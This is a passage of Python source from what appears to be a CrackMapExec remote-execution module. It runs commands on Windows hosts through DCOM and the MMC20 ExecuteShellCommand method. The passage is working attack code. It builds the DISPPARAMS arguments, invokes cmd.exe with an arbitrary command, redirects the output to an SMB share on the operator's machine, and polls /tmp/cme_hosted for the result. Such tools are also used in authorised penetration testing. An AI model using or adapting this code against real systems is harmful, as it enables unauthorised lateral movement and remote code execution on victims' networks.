iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 82 | 83 | iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 84 | pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] 85 | 86 | pQuit = iMMC.GetIDsOfNames(('Quit',))[0] 87 | 88 | self.__quit = (iMMC, pQuit) 89 | self.__executeShellCommand = (iActiveView, pExecuteShellCommand) 90 | 91 | except Exception as e: 92 | self.exit() 93 | logging.error(str(e)) 94 | dcom.disconnect() 95 | 96 | def getInterface(self, interface, resp): 97 | # Now let's parse the answer and build an Interface instance 98 | objRefType = OBJREF(''.join(resp))['flags'] 99 | objRef = None 100 | if objRefType == FLAGS_OBJREF_CUSTOM: 101 | objRef = OBJREF_CUSTOM(''.join(resp)) 102 | elif objRefType == FLAGS_OBJREF_HANDLER: 103 | objRef = OBJREF_HANDLER(''.join(resp)) 104 | elif objRefType == FLAGS_OBJREF_STANDARD: 105 | objRef = OBJREF_STANDARD(''.join(resp)) 106 | elif objRefType == FLAGS_OBJREF_EXTENDED: 107 | objRef = OBJREF_EXTENDED(''.join(resp)) 108 | else: 109 | logging.error("Unknown OBJREF Type! 0x%x" % objRefType) 110 | 111 | return IRemUnknown2( 112 | INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], 113 | oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], 114 | target=interface.get_target())) 115 | 116 | def execute(self, command, output=False): 117 | self.__retOutput = output 118 | self.execute_remote(command) 119 | self.exit() 120 | return self.__outputBuffer 121 | 122 | def exit(self): 123 | dispParams = DISPPARAMS(None, False) 124 | dispParams['rgvarg'] = NULL 125 | dispParams['rgdispidNamedArgs'] = NULL 126 | dispParams['cArgs'] = 0 127 | dispParams['cNamedArgs'] = 0 128 | 129 | self.__quit[0].Invoke(self.__quit[1], 0x409, DISPATCH_METHOD, dispParams, 130 | 0, [], []) 131 | return True 132 | 133 | def execute_remote(self, data): 134 | self.__output = gen_random_string(6) 135 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] 136 | 137 | command = '/Q /c ' + data 138 | if self.__retOutput is True: 139 | command += ' 1> ' + '\\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output) + ' 2>&1' 140 | 141 | dispParams = DISPPARAMS(None, False) 142 | dispParams['rgdispidNamedArgs'] = NULL 143 | dispParams['cArgs'] = 4 144 | dispParams['cNamedArgs'] = 0 145 | arg0 = VARIANT(None, False) 146 | arg0['clSize'] = 5 147 | arg0['vt'] = VARENUM.VT_BSTR 148 | arg0['_varUnion']['tag'] = VARENUM.VT_BSTR 149 | arg0['_varUnion']['bstrVal']['asData'] = self.__shell 150 | 151 | arg1 = VARIANT(None, False) 152 | arg1['clSize'] = 5 153 | arg1['vt'] = VARENUM.VT_BSTR 154 | arg1['_varUnion']['tag'] = VARENUM.VT_BSTR 155 | arg1['_varUnion']['bstrVal']['asData'] = self.__pwd 156 | 157 | arg2 = VARIANT(None, False) 158 | arg2['clSize'] = 5 159 | arg2['vt'] = VARENUM.VT_BSTR 160 | arg2['_varUnion']['tag'] = VARENUM.VT_BSTR 161 | arg2['_varUnion']['bstrVal']['asData'] = command 162 | 163 | arg3 = VARIANT(None, False) 164 | arg3['clSize'] = 5 165 | arg3['vt'] = VARENUM.VT_BSTR 166 | arg3['_varUnion']['tag'] = VARENUM.VT_BSTR 167 | arg3['_varUnion']['bstrVal']['asData'] = '7' 168 | dispParams['rgvarg'].append(arg3) 169 | dispParams['rgvarg'].append(arg2) 170 | dispParams['rgvarg'].append(arg1) 171 | dispParams['rgvarg'].append(arg0) 172 | 173 | self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 174 | 0, [], []) 175 | self.get_output_fileless() 176 | 177 | def output_callback(self, data): 178 | self.__outputBuffer += data 179 | 180 | def get_output_fileless(self): 181 | if not self.__retOutput: return 182 | 183 | while True: 184 | try: 185 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output: 186 | self.output_callback(output.read()) 187 | break 188 | except IOError: 189 | sleep(2) --------------------------------------------------------------------------------